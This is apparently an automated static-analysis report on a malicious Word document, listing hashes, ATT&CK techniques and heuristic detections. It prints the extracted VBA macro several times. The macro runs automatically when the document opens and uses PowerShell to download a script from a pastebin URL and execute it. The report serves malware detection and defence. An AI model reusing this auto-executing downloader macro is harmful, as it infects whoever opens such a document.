Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 29c54270afa60889…

MALICIOUS

Office (OLE)

134.5 KB Created: 2018-08-08 14:06:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: eb0b3ecbdd001ca1d2748e1272f7f9a8 SHA-1: 75570972ef9d0ccc99b2c524d68666893a447114 SHA-256: 29c54270afa6088923deb00cecd6678e174d121b14cd6c144476ef4f964189f5
566 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1059.003 Windows Command Shell T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The sample contains VBA macros that leverage WScript.Shell to execute a command. This command uses cmd.exe to run PowerShell, which downloads and executes a script from the URL https://pastebin.com/raw/tbKnbBzv. This indicates a downloader functionality, likely delivered via spearphishing.

Heuristics 17

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA macros detected medium 8 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub Lwkbj12()
    Set oShell = CreateObject("Wscript.Shell")
    oShell.Run ("cmd.exe /c powershell -c $c=new-object system.net.WebClient;$x=$c.downloadstring('https://pastebin.com/raw/tbKnbBzv');invoke-expression $x")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Set oShell = CreateObject("Wscript.Shell")
    oShell.Run ("cmd.exe /c powershell -c $c=new-object system.net.WebClient;$x=$c.downloadstring('https://pastebin.com/raw/tbKnbBzv');invoke-expression $x")
End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub Lwkbj12()
    Set oShell = CreateObject("Wscript.Shell")
    oShell.Run ("cmd.exe /c powershell -c $c=new-object system.net.WebClient;$x=$c.downloadstring('https://pastebin.com/raw/tbKnbBzv');invoke-expression $x")
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
        Set oShell = CreateObject("Wscript.Shell")
    oShell.Run ("cmd.exe /c powershell -c $c=new-object system.net.WebClient;$x=$c.downloadstring('https://pastebin.com/raw/tbKnbBzv');invoke-expression $x")
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
    Auto_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
    Auto_Open
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
    Lwkbj12
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • https://pastebin.com/raw/tbKnbBzvIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 683 bytes
SHA-256: e8992d3dae039a5ef9284dbe48edb5074acfa7b91814ea9f8bf9a9f3ef0ec89e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"

Sub Auto_Open()
    Lwkbj12
End Sub

Sub Lwkbj12()
    Set oShell = CreateObject("Wscript.Shell")
    oShell.Run ("cmd.exe /c powershell -c $c=new-object system.net.WebClient;$x=$c.downloadstring('https://pastebin.com/raw/tbKnbBzv');invoke-expression $x")
End Sub

Sub AutoOpen()
    Auto_Open
End Sub

Sub Workbook_Open()
    Auto_Open
End Sub

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